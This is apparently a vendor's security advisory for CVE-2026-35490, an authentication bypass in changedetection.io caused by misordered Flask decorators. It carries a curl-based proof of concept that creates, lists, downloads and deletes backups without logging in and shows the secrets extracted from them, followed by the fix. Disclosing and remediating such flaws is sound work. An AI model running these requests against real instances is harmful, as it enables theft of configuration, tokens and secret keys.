CVE-2026-35490

CVE-2026-35490 is a critical-severity incorrect authorization vulnerability in changedetection.io (pip), affecting versions <= 0.54.7. It is fixed in 0.54.8.

Summary

On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes):

@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
    ...

Incorrect order (13 vulnerable routes):

@login_optionally_required          # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>')  # ← Registers raw function
def download_backup(filename):
    ...

POC

=== PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page:     HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200

--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200

$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip

$ unzip -l /tmp/stolen_backup.zip
Archive:  /tmp/stolen_backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    26496  2026-03-31 00:54   url-watches.json
       64  2026-03-31 00:52   secret.txt
       51  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
     1682  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
     4395  2026-03-31 00:52   4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
       51  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
    40877  2026-03-31 00:52   c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
       73  2026-03-31 00:54   url-list.txt
      155  2026-03-31 00:54   url-list-with-tags.txt
---------                     -------
   114721                     10 files

--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
  - https://news.ycombinator.com/  (UUID: 4ff247a9...)
  - https://changedetection.io/CHANGELOG.txt  (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth:
  /         -> HTTP 302 (302 = protected)
  /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login):
  /              HTTP 302
  /settings      HTTP 302

BYPASSED routes (no auth needed):
  /backups/request-backup  HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
  /backups/                HTTP 200 (lists all backups)
  /backups/download/<file> HTTP 200 (downloads backup with secrets)
  /backups/remove-backups  HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

  • Complete data exfiltration, Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
  • Backup restore = config injection, Attacker can upload a malicious backup with crafted watch configs
  • SSRF, Proxy check endpoint can be triggered to scan internal network
  • Browser session hijacking, Browser steps endpoints allow controlling Playwright sessions

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-35490 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.54.8); upgrading removes the vulnerable code path.

Affected versions

changedetection.io (<= 0.54.7)

Security releases

changedetection.io → 0.54.8 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):

# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):

Frequently Asked Questions

  1. What is CVE-2026-35490? CVE-2026-35490 is a critical-severity incorrect authorization vulnerability in changedetection.io (pip), affecting versions <= 0.54.7. It is fixed in 0.54.8. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-35490? CVE-2026-35490 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of changedetection.io are affected by CVE-2026-35490? changedetection.io (pip) versions <= 0.54.7 is affected.
  4. Is there a fix for CVE-2026-35490? Yes. CVE-2026-35490 is fixed in 0.54.8. Upgrade to this version or later.
  5. Is CVE-2026-35490 exploitable, and should I be worried? Whether CVE-2026-35490 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-35490 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-35490? Upgrade changedetection.io to 0.54.8 or later.

Other vulnerabilities in changedetection.io

CVE-2026-41895CVE-2026-35490CVE-2026-33981CVE-2026-29065CVE-2026-29039

Stop the waste.
Protect your environment with Kodem.